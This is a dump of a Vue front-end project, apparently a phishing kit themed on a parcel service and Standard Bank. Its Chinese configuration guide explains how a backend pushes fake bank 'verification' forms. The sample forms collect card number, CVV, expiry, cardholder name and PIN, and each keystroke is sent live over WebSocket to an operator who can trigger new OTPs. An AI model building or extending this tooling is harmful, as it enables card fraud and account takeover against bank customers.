/* padding-top: 80px !important;
|
||||
padding-bottom: 96px !important; */
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
.main-content {
|
||||
/* padding-top: 160px; */
|
||||
display: block;
|
||||
}
|
||||
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.success-icon {
|
||||
font-size: 50px;
|
||||
color: #4bb543;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #333;
|
||||
font-size: 1.5em;
|
||||
}
|
||||
|
||||
p {
|
||||
color: #666;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
.loader {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 4px solid #f3f3f3;
|
||||
border-top: 4px solid #385bf8;
|
||||
border-radius: 50%;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
animation: spin 2s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* 响应式设计 */
|
||||
@media (min-width: 768px) {
|
||||
.container {
|
||||
max-width: 600px;
|
||||
padding: 40px;
|
||||
}
|
||||
|
||||
.success-icon {
|
||||
font-size: 70px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
p {
|
||||
font-size: 1.2em;
|
||||
}
|
||||
}
|
||||
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
</style>
|
||||
9
zy1_in_post_shadowfax/standard-bank-idcheck-config.json
Normal file
12
zy1_in_post_shadowfax/tsconfig.app.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"extends": "@vue/tsconfig/tsconfig.web.json",
|
||||
"include": ["env.d.ts", "src/**/*", "src/**/*.vue"],
|
||||
"exclude": ["src/**/__tests__/*"],
|
||||
"compilerOptions": {
|
||||
"composite": true,
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./src/*"]
|
||||
}
|
||||
}
|
||||
}
|
||||
8
zy1_in_post_shadowfax/tsconfig.config.json
Normal file
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"extends": "@vue/tsconfig/tsconfig.node.json",
|
||||
"include": ["vite.config.*", "vitest.config.*", "cypress.config.*", "playwright.config.*"],
|
||||
"compilerOptions": {
|
||||
"composite": true,
|
||||
"types": ["node"]
|
||||
}
|
||||
}
|
||||
14
zy1_in_post_shadowfax/tsconfig.json
Normal file
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"files": [],
|
||||
"references": [
|
||||
{
|
||||
"path": "./tsconfig.config.json"
|
||||
},
|
||||
{
|
||||
"path": "./tsconfig.app.json"
|
||||
},
|
||||
{
|
||||
"path": "./tsconfig.vitest.json"
|
||||
}
|
||||
]
|
||||
}
|
||||
9
zy1_in_post_shadowfax/tsconfig.vitest.json
Normal file
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"extends": "./tsconfig.app.json",
|
||||
"exclude": [],
|
||||
"compilerOptions": {
|
||||
"composite": true,
|
||||
"lib": [],
|
||||
"types": ["node", "jsdom"]
|
||||
}
|
||||
}
|
||||
21
zy1_in_post_shadowfax/vite.config.ts
Normal file
@@ -0,0 +1,21 @@
|
||||
import { fileURLToPath, URL } from "node:url";
|
||||
|
||||
import { defineConfig } from "vite";
|
||||
import vue from "@vitejs/plugin-vue";
|
||||
|
||||
// https://vitejs.dev/config/
|
||||
export default defineConfig({
|
||||
plugins: [vue()],
|
||||
resolve: {
|
||||
alias: {
|
||||
"@": fileURLToPath(new URL("./src", import.meta.url)),
|
||||
},
|
||||
},
|
||||
server: {
|
||||
host: "0.0.0.0",
|
||||
proxy: {},
|
||||
},
|
||||
build: {
|
||||
chunkSizeWarningLimit: 1000, // 将警告限制调整为 1000kB
|
||||
},
|
||||
});
|
||||
39
zy1_in_post_shadowfax/zip.js
Normal file
@@ -0,0 +1,39 @@
|
||||
const fs = require("fs");
|
||||
const archiver = require("archiver");
|
||||
|
||||
// 创建一个输出流到指定的 zip 文件
|
||||
const output = fs.createWriteStream(__dirname + "/../../zip/g16_in_post_shadowfax.zip"); // 这里可以更改为你想要的文件名
|
||||
const archive = archiver("zip", {
|
||||
zlib: { level: 9 }, // 设置压缩级别
|
||||
});
|
||||
|
||||
// 监听关闭事件,打印压缩完成信息
|
||||
output.on("close", function () {
|
||||
console.log(archive.pointer() + " total bytes");
|
||||
console.log(
|
||||
"archiver has been finalized and the output file descriptor has closed."
|
||||
);
|
||||
});
|
||||
|
||||
// 捕获警告
|
||||
archive.on("warning", function (err) {
|
||||
if (err.code === "ENOENT") {
|
||||
// log warning
|
||||
} else {
|
||||
throw err;
|
||||
}
|
||||
});
|
||||
|
||||
// 捕获错误
|
||||
archive.on("error", function (err) {
|
||||
throw err;
|
||||
});
|
||||
|
||||
// 将输出流管道到归档文件
|
||||
archive.pipe(output);
|
||||
|
||||
// 添加目录到归档文件
|
||||
archive.directory("dist/", false);
|
||||
|
||||
// 完成归档
|
||||
archive.finalize();
|
||||
539
zy1_in_post_shadowfax/自定义OTP验证配置文档.md
Normal file
@@ -0,0 +1,539 @@
|
||||
# 自定义OTP验证配置文档
|
||||
|
||||
## 概述
|
||||
此文档用于配置前端自定义OTP验证页面。后端需要返回 `customOtpData` 配置对象,前端将根据配置自动渲染验证表单。
|
||||
|
||||
---
|
||||
|
||||
## 配置结构
|
||||
|
||||
### 基础配置对象
|
||||
```typescript
|
||||
interface ValidationConfig {
|
||||
type: 'customValid' // 必填:验证类型,使用 'customValid' 启用完全自定义
|
||||
name?: string // 可选:配置名称
|
||||
pageTitle?: string // 可选:页面标题
|
||||
pageContent: string // 必填:HTML内容,包含自定义表单
|
||||
customStyles?: string // 可选:自定义CSS样式
|
||||
buttonColor?: string // 可选:默认按钮颜色
|
||||
errorMessage?: string // 可选:默认错误提示
|
||||
showTop?: boolean // 可选:是否显示顶部银行logo和卡片类型
|
||||
imageUrl?: string // 可选:自定义logo图片URL
|
||||
showCard?: boolean // 可选:是否显示卡号后4位
|
||||
merchant?: string // 可选:商户名称(可在pageContent中用${merchant}引用)
|
||||
amount?: string // 可选:支付金额(可在pageContent中用${payment}引用)
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## HTML元素规范
|
||||
|
||||
### 1. 输入框(Input)
|
||||
**必需属性:**
|
||||
- `class="custom-input"` - 必须添加此class以自动绑定事件
|
||||
- `data-field="字段名"` - 标识输入框字段(可以是任意名称,不限于input1/input2)
|
||||
|
||||
**可选属性:**
|
||||
- `data-verify-key="自定义字段名"` - 自定义后端接收的字段名
|
||||
- 不设置时,默认使用 `data-field` 的值作为后端字段名
|
||||
- 设置后将使用 `data-verify-key` 的值
|
||||
- `required` - 标记为必填项
|
||||
- 提交时会自动验证,未填写会显示浏览器原生提示气泡
|
||||
- 自动聚焦到第一个未填写的输入框
|
||||
|
||||
**重要:支持任意数量的输入框,不限于2个!**
|
||||
|
||||
**示例:**
|
||||
```html
|
||||
<!-- 方式1:使用 data-field 作为默认字段名 -->
|
||||
<input type="text"
|
||||
class="custom-input"
|
||||
data-field="smsCode"
|
||||
placeholder="请输入短信验证码">
|
||||
|
||||
<!-- 方式2:使用 data-verify-key 自定义后端字段名 -->
|
||||
<input type="text"
|
||||
class="custom-input"
|
||||
data-field="input1"
|
||||
data-verify-key="smsVerifyCode"
|
||||
placeholder="请输入短信验证码">
|
||||
|
||||
<input type="text"
|
||||
class="custom-input"
|
||||
data-field="input2"
|
||||
data-verify-key="emailVerifyCode"
|
||||
placeholder="请输入邮箱验证码">
|
||||
|
||||
<!-- 方式3:多个输入框(支持任意数量) -->
|
||||
<input type="text" class="custom-input" data-field="cardNumber" placeholder="卡号">
|
||||
<input type="text" class="custom-input" data-field="expiryDate" placeholder="有效期">
|
||||
<input type="text" class="custom-input" data-field="cvv" placeholder="CVV">
|
||||
<input type="password" class="custom-input" data-field="pin" placeholder="PIN码">
|
||||
|
||||
<!-- 方式4:必填输入框(添加required属性) -->
|
||||
<input type="text"
|
||||
class="custom-input"
|
||||
data-field="verifyCode"
|
||||
placeholder="验证码"
|
||||
required>
|
||||
<!-- 提交时会自动验证,未填写会显示错误并聚焦 -->
|
||||
```
|
||||
|
||||
### 2. 按钮(Button)
|
||||
**必需属性:**
|
||||
- `class="custom-button"` - 必须添加此class以自动绑定事件
|
||||
- `data-action="submit"` 或 `"resend"` - 标识按钮操作类型
|
||||
- `submit`: 提交表单
|
||||
- `resend`: 重新发送验证码
|
||||
|
||||
**可选属性(仅resend按钮):**
|
||||
- `data-countdown="true"` - 启用倒计时(默认值,可省略)
|
||||
- `data-countdown="false"` - 禁用倒计时,允许连续点击
|
||||
|
||||
**重发按钮特性:**
|
||||
|
||||
启用倒计时时(`data-countdown="true"` 或不设置):
|
||||
- ✅ 自动倒计时:点击后自动进入60秒倒计时
|
||||
- ✅ 自动禁用:倒计时期间按钮禁用,无法重复点击
|
||||
- ✅ 文本更新:倒计时显示 `00:59`、`00:58`...直到 `00:00`
|
||||
- ✅ 自动恢复:倒计时结束后自动恢复原始文本和可点击状态
|
||||
|
||||
禁用倒计时时(`data-countdown="false"`):
|
||||
- ✅ 立即发送:点击后立即发送请求
|
||||
- ✅ 可连续点击:没有倒计时限制,可以多次点击
|
||||
- ✅ 适用场景:需要快速重试或测试时使用
|
||||
|
||||
**示例:**
|
||||
```html
|
||||
<!-- 提交按钮 -->
|
||||
<button type="button"
|
||||
class="custom-button"
|
||||
data-action="submit">
|
||||
提交验证码
|
||||
</button>
|
||||
|
||||
<!-- 重发按钮(默认启用倒计时) -->
|
||||
<button type="button"
|
||||
class="custom-button"
|
||||
data-action="resend">
|
||||
重新发送
|
||||
</button>
|
||||
<!-- 点击后: 00:60 → 00:59 → ... → 00:01 → 重新发送 -->
|
||||
|
||||
<!-- 重发按钮(显式启用倒计时) -->
|
||||
<button type="button"
|
||||
class="custom-button"
|
||||
data-action="resend"
|
||||
data-countdown="true">
|
||||
重新发送验证码
|
||||
</button>
|
||||
|
||||
<!-- 重发按钮(禁用倒计时,可连续点击) -->
|
||||
<button type="button"
|
||||
class="custom-button"
|
||||
data-action="resend"
|
||||
data-countdown="false">
|
||||
立即重发
|
||||
</button>
|
||||
<!-- 点击后立即发送,无倒计时,可连续点击 -->
|
||||
```
|
||||
|
||||
### 3. 错误信息容器(Error Message)
|
||||
**必需属性:**
|
||||
- `class="custom-error-message"` - 必须添加此class以自动显示错误
|
||||
|
||||
**特性:**
|
||||
- 自动显示/隐藏:有错误时自动显示,无错误时自动隐藏
|
||||
- 自动更新内容:错误信息会自动填充到所有带此class的元素中
|
||||
|
||||
**示例:**
|
||||
```html
|
||||
<div class="custom-error-message"></div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 配置示例
|
||||
|
||||
### 示例1:基础短信验证码表单
|
||||
```json
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "SMS验证",
|
||||
"pageTitle": "短信验证",
|
||||
"pageContent": "<div style='text-align: center;'><p style='margin-bottom: 20px;'>请输入发送到您手机的验证码</p><div style='margin-bottom: 15px;'><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='6位验证码' style='width: 200px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; text-align: center; font-size: 16px;'></div><div class='custom-error-message' style='color: #dc2626; margin: 10px 0; min-height: 20px;'></div><button type='button' class='custom-button' data-action='submit' style='background: #67C23A; color: white; padding: 12px 40px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px;'>提交验证</button></div>",
|
||||
"customStyles": ".custom-input:focus { border-color: #67C23A; outline: none; box-shadow: 0 0 0 2px rgba(103, 194, 58, 0.2); } .custom-button:hover { opacity: 0.9; }",
|
||||
"showTop": true,
|
||||
"errorMessage": "验证码错误,请重试"
|
||||
}
|
||||
```
|
||||
|
||||
### 示例2:双重验证(短信+邮箱)
|
||||
```json
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "双重验证",
|
||||
"pageTitle": "安全验证",
|
||||
"pageContent": "<div style='max-width: 400px; margin: 0 auto;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>短信验证码</label><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='请输入短信验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>邮箱验证码</label><input type='text' class='custom-input' data-field='input2' data-verify-key='emailCode' placeholder='请输入邮箱验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 15px 0; min-height: 24px;'></div><div style='display: flex; gap: 12px; justify-content: center;'><button type='button' class='custom-button' data-action='submit' style='flex: 1; background: #409EFF; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>确认提交</button><button type='button' class='custom-button' data-action='resend' style='flex: 1; background: #E6A23C; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>重新发送</button></div></div>",
|
||||
"customStyles": ".custom-input:focus { border-color: #409EFF; outline: none; } .custom-button:active { transform: scale(0.98); }",
|
||||
"showTop": true,
|
||||
"merchant": "示例商户",
|
||||
"amount": "¥999.00"
|
||||
}
|
||||
```
|
||||
|
||||
### 示例3:快速重发模式(禁用倒计时)
|
||||
```json
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "快速验证",
|
||||
"pageTitle": "验证码登录",
|
||||
"pageContent": "<div style='max-width: 350px; margin: 0 auto; padding: 20px;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #495057; font-weight: 500;'>验证码</label><input type='text' class='custom-input' data-field='verifyCode' placeholder='6位验证码' maxlength='6' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 16px; text-align: center; letter-spacing: 4px;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600; margin-bottom: 12px;'>立即登录</button><button type='button' class='custom-button' data-action='resend' data-countdown='false' style='width: 100%; background: transparent; color: #007bff; padding: 10px; border: 1px solid #007bff; border-radius: 6px; cursor: pointer; font-size: 14px;'>点击重新发送验证码</button></div>",
|
||||
"customStyles": ".custom-input:focus { border-color: #28a745 !important; } .custom-button[data-action='resend']:hover { background: #007bff; color: white; }",
|
||||
"showTop": false
|
||||
}
|
||||
```
|
||||
**说明:** 此示例中重发按钮设置了 `data-countdown='false'`,用户可以连续点击重发,适合测试或需要快速重试的场景。
|
||||
|
||||
### 示例4:多输入框 - 完整卡片信息录入
|
||||
```json
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "卡片信息验证",
|
||||
"pageTitle": "请输入卡片完整信息",
|
||||
"pageContent": "<div style='max-width: 450px; margin: 0 auto; padding: 20px;'><div style='background: #f8f9fa; padding: 20px; border-radius: 10px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>卡号 (Card Number)</label><input type='text' class='custom-input' data-field='cardNumber' placeholder='1234 5678 9012 3456' maxlength='19' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='display: flex; gap: 12px; margin-bottom: 15px;'><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>有效期 (MM/YY)</label><input type='text' class='custom-input' data-field='expiryDate' placeholder='12/25' maxlength='5' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>CVV</label><input type='password' class='custom-input' data-field='cvv' placeholder='123' maxlength='3' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>持卡人姓名 (Cardholder Name)</label><input type='text' class='custom-input' data-field='cardholderName' placeholder='JOHN DOE' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; text-transform: uppercase;'></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>PIN码 (4位)</label><input type='password' class='custom-input' data-field='pin' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; letter-spacing: 8px; text-align: center;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600;'>确认提交</button></div></div>",
|
||||
"customStyles": ".custom-input:focus { border-color: #28a745 !important; box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); } .custom-button:hover { background: #218838; }",
|
||||
"showTop": true
|
||||
}
|
||||
```
|
||||
|
||||
### 示例5:银行PIN码验证
|
||||
```json
|
||||
{
|
||||
"type": "customValid",
|
||||
"name": "PIN验证",
|
||||
"pageTitle": "请输入PIN码",
|
||||
"pageContent": "<div style='background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); padding: 30px; border-radius: 12px; color: white;'><div style='text-align: center; margin-bottom: 25px;'><h3 style='margin: 0 0 10px 0;'>交易确认</h3><p style='margin: 0; opacity: 0.9;'>商户: ${merchant}</p><p style='margin: 5px 0 0 0; font-size: 24px; font-weight: bold;'>${payment}</p></div><div style='background: white; padding: 20px; border-radius: 8px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 8px; color: #333; font-size: 14px;'>4位PIN码</label><input type='password' class='custom-input' data-field='input1' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 15px; border: 2px solid #e5e7eb; border-radius: 8px; font-size: 18px; text-align: center; letter-spacing: 8px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #10b981; color: white; padding: 15px; border: none; border-radius: 8px; cursor: pointer; font-size: 16px; font-weight: 600; box-shadow: 0 4px 6px rgba(16, 185, 129, 0.3);'>确认支付</button></div></div>",
|
||||
"customStyles": ".custom-input:focus { border-color: #10b981; box-shadow: 0 0 0 3px rgba(16, 185, 129, 0.1); } .custom-button:hover { background: #059669; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(16, 185, 129, 0.4); }",
|
||||
"showTop": false,
|
||||
"merchant": "Apple Store",
|
||||
"amount": "$299.99"
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 动态变量
|
||||
|
||||
可在 `pageContent` 中使用以下变量,前端会自动替换:
|
||||
|
||||
| 变量 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| `${merchant}` | 商户名称 | 从配置中的 `merchant` 字段获取 |
|
||||
| `${payment}` 或 `${price}` | 支付金额 | 从配置中的 `amount` 字段获取 |
|
||||
| `${card}` | 卡号后4位 | 自动从用户卡号中提取 |
|
||||
| `${phone}` | 手机号后4位 | 从本地存储手机号中提取后4位 |
|
||||
| `${phoneFull}` | 完整手机号 | 从本地存储中获取 |
|
||||
| `${date}` | 当前日期 | 自动生成当前日期 |
|
||||
|
||||
**使用示例:**
|
||||
```html
|
||||
<p>商户: ${merchant}</p>
|
||||
<p>金额: ${payment}</p>
|
||||
<p>卡号: **** ${card}</p>
|
||||
<p>手机号后4位: ${phone}</p>
|
||||
<p>完整手机号: ${phoneFull}</p>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 数据流程
|
||||
|
||||
## 提交Loading(纯HTML)
|
||||
|
||||
你可以直接在 `pageContent` 里定义 loading 节点,提交时前端会自动显示。
|
||||
|
||||
支持两种标记方式(任选其一):
|
||||
|
||||
- `data-submit-loading`
|
||||
- `class="custom-submit-loading"`
|
||||
|
||||
建议初始隐藏(`display:none`),并可用 `data-loading-display` 指定显示时的 `display` 值。
|
||||
|
||||
```html
|
||||
<div data-submit-loading data-loading-display="flex" style="display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:9999;align-items:center;justify-content:center;color:#fff;">
|
||||
<div style="background:#111;padding:12px 16px;border-radius:8px;">Loading...</div>
|
||||
</div>
|
||||
```
|
||||
|
||||
说明:
|
||||
|
||||
- 提交 `submit_card` 前自动显示。
|
||||
- 收到后端 `custom-otp-valid` 消息后自动隐藏。
|
||||
- 如果未定义上述标记,则继续使用系统默认 loading。
|
||||
|
||||
### 1. 前端接收配置
|
||||
后端返回 `customOtpData` 配置对象,前端根据 `type: 'customValid'` 渲染自定义表单。
|
||||
|
||||
### 2. 用户输入
|
||||
- 用户在 `class="custom-input"` 的输入框中输入
|
||||
- 前端自动调用 `inputChange` 函数,实时发送到后端
|
||||
- 发送格式:
|
||||
```javascript
|
||||
{
|
||||
event: "input_card",
|
||||
content: {
|
||||
key: "smsCode", // 来自 data-verify-key,默认为 verifyCode1/verifyCode2
|
||||
value: "用户输入的内容"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 用户提交
|
||||
- 用户点击 `data-action="submit"` 的按钮
|
||||
- 前端自动收集所有 `class="custom-input"` 的输入框值
|
||||
- 发送WebSocket消息:
|
||||
```javascript
|
||||
// 例1:2个输入框
|
||||
{
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitCustomOtpValid",
|
||||
formData: {
|
||||
smsCode: "123456",
|
||||
emailCode: "789012"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 例2:5个输入框(完整卡片信息)
|
||||
{
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitCustomOtpValid",
|
||||
formData: {
|
||||
cardNumber: "1234567890123456",
|
||||
expiryDate: "12/25",
|
||||
cvv: "123",
|
||||
cardholderName: "JOHN DOE",
|
||||
pinCode: "1234" // 使用了 data-verify-key="pinCode"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**重要:**`formData` 中的字段名是每个输入框的 `data-verify-key`(如果有)或 `data-field` 的值
|
||||
|
||||
### 4. 错误处理
|
||||
- 后端验证失败时,发送事件 `custom-otp-valid`
|
||||
- 消息格式:
|
||||
```javascript
|
||||
{
|
||||
message2: "错误提示文本"
|
||||
}
|
||||
```
|
||||
- 前端自动将错误显示在所有 `class="custom-error-message"` 的元素中
|
||||
|
||||
### 5. 重新发送
|
||||
- 用户点击 `data-action="resend"` 的按钮
|
||||
- 前端自动进入60秒倒计时,按钮文本变为 `00:60`
|
||||
- 倒计时期间按钮禁用,无法重复点击
|
||||
- 前端发送WebSocket消息:
|
||||
```javascript
|
||||
{
|
||||
event: "page_type",
|
||||
content: {
|
||||
pageType: "customOtpValid",
|
||||
pageTitle: "配置名称",
|
||||
resultType: "resendCode",
|
||||
customType: "customValid"
|
||||
}
|
||||
}
|
||||
```
|
||||
- 60秒后按钮自动恢复为原始文本(如"重新发送"),可再次点击
|
||||
|
||||
---
|
||||
|
||||
## 字段映射说明
|
||||
|
||||
### 基本原则
|
||||
**支持任意数量和名称的输入框!**
|
||||
|
||||
### 默认字段映射
|
||||
当只设置 `data-field` 时,后端接收的字段名就是 `data-field` 的值:
|
||||
- `data-field="smsCode"` → 后端接收:`smsCode`
|
||||
- `data-field="emailCode"` → 后端接收:`emailCode`
|
||||
- `data-field="cardNumber"` → 后端接收:`cardNumber`
|
||||
- `data-field="pin"` → 后端接收:`pin`
|
||||
|
||||
### 自定义字段映射
|
||||
通过 `data-verify-key` 属性可以覆盖后端接收的字段名:
|
||||
|
||||
```html
|
||||
<!-- 例1:使用 data-field 作为后端字段名 -->
|
||||
<input class="custom-input" data-field="smsCode">
|
||||
<!-- 后端接收:smsCode -->
|
||||
|
||||
<!-- 例2:使用 data-verify-key 覆盖字段名 -->
|
||||
<input class="custom-input"
|
||||
data-field="input1"
|
||||
data-verify-key="customSmsCode">
|
||||
<!-- 后端接收:customSmsCode -->
|
||||
|
||||
<!-- 例3:多个输入框各自有独立字段名 -->
|
||||
<input class="custom-input" data-field="cardNum">
|
||||
<input class="custom-input" data-field="expiry">
|
||||
<input class="custom-input" data-field="cvvCode">
|
||||
<input class="custom-input" data-field="pinNumber" data-verify-key="pin">
|
||||
<!-- 后端接收:cardNum, expiry, cvvCode, pin -->
|
||||
```
|
||||
|
||||
**实时输入事件:**
|
||||
```javascript
|
||||
// 例1:只有 data-field
|
||||
<input class="custom-input" data-field="smsCode">
|
||||
// 发送:
|
||||
{
|
||||
event: "input_card",
|
||||
content: {
|
||||
key: "smsCode", // 直接使用 data-field 的值
|
||||
value: "123456"
|
||||
}
|
||||
}
|
||||
|
||||
// 例2:有 data-verify-key
|
||||
<input class="custom-input" data-field="input1" data-verify-key="customCode">
|
||||
// 发送:
|
||||
{
|
||||
event: "input_card",
|
||||
content: {
|
||||
key: "customCode", // 使用 data-verify-key 的值
|
||||
value: "123456"
|
||||
}
|
||||
}
|
||||
|
||||
// 例3:多个输入框
|
||||
<input class="custom-input" data-field="card">
|
||||
<input class="custom-input" data-field="cvv">
|
||||
<input class="custom-input" data-field="pin">
|
||||
// 分别发送:
|
||||
// { event: "input_card", content: { key: "card", value: "..." } }
|
||||
// { event: "input_card", content: { key: "cvv", value: "..." } }
|
||||
// { event: "input_card", content: { key: "pin", value: "..." } }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. CSS样式建议
|
||||
- 使用 `customStyles` 字段添加响应式设计
|
||||
- 建议使用相对单位(%、em、rem)而非固定像素
|
||||
- 为移动端适配添加媒体查询
|
||||
|
||||
### 2. 用户体验
|
||||
- 输入框应有明确的 `placeholder` 提示
|
||||
- 错误信息容器预留足够空间(避免布局跳动)
|
||||
- 按钮应有明显的交互反馈(hover、active状态)
|
||||
|
||||
### 3. 安全考虑
|
||||
- PIN码输入使用 `type="password"`
|
||||
- 敏感信息使用 `maxlength` 限制长度
|
||||
- 建议后端对提交频率做限制
|
||||
|
||||
### 4. 响应式设计示例
|
||||
```css
|
||||
/* 添加到 customStyles 中 */
|
||||
@media (max-width: 768px) {
|
||||
.custom-input {
|
||||
font-size: 16px !important; /* 防止iOS自动缩放 */
|
||||
}
|
||||
.custom-button {
|
||||
padding: 15px !important;
|
||||
font-size: 16px !important;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 调试技巧
|
||||
|
||||
### 前端控制台日志
|
||||
前端会输出以下调试信息:
|
||||
- `绑定事件尝试 - 自定义输入框数: X, 自定义按钮数: Y`
|
||||
- `绑定自定义输入框: [id], field: [fieldName]`
|
||||
- `自定义输入框[fieldName]输入: [value], verifyKey: [key]`
|
||||
- `自定义按钮点击, action: [action]`
|
||||
|
||||
### 检查清单
|
||||
1. ✅ 输入框是否有 `class="custom-input"` 和 `data-field`
|
||||
2. ✅ 按钮是否有 `class="custom-button"` 和 `data-action`
|
||||
3. ✅ 错误容器是否有 `class="custom-error-message"`
|
||||
4. ✅ 自定义字段名是否设置了 `data-verify-key`
|
||||
5. ✅ CSS样式是否正确加载到 `customStyles`
|
||||
|
||||
---
|
||||
|
||||
## 常见问题
|
||||
|
||||
**Q: 如何添加多个输入框?**
|
||||
A: 直接添加多个 `<input>` 标签,每个都添加 `class="custom-input"` 和独立的 `data-field`,不限数量!
|
||||
```html
|
||||
<input class="custom-input" data-field="field1">
|
||||
<input class="custom-input" data-field="field2">
|
||||
<input class="custom-input" data-field="field3">
|
||||
<input class="custom-input" data-field="field4">
|
||||
<!-- 可以继续添加更多... -->
|
||||
```
|
||||
|
||||
**Q: 输入框没有反应?**
|
||||
A: 检查是否同时添加了 `class="custom-input"` 和 `data-field` 属性
|
||||
|
||||
**Q: required属性如何使用?**
|
||||
A: 直接在输入框上添加 `required` 属性即可:
|
||||
```html
|
||||
<input type="text" class="custom-input" data-field="code" required>
|
||||
```
|
||||
- 提交时自动验证所有 `required` 输入框
|
||||
- 使用浏览器原生提示气泡显示错误
|
||||
- 自动聚焦到第一个未填写的输入框
|
||||
|
||||
**Q: 错误信息不显示?**
|
||||
A: 确保元素有 `class="custom-error-message"`,前端会自动控制显示/隐藏
|
||||
|
||||
**Q: 如何自定义后端接收的字段名?**
|
||||
A: 在输入框上添加 `data-verify-key="yourCustomKey"` 属性
|
||||
|
||||
**Q: 按钮点击没有效果?**
|
||||
A: 检查是否添加了 `class="custom-button"` 和 `data-action="submit/resend"`
|
||||
|
||||
**Q: 重发按钮能连续点击吗?**
|
||||
A: 默认不能。如需连续点击,添加 `data-countdown="false"` 属性即可禁用倒计时。
|
||||
```html
|
||||
<!-- 不能连续点击(默认) -->
|
||||
<button class="custom-button" data-action="resend">重新发送</button>
|
||||
|
||||
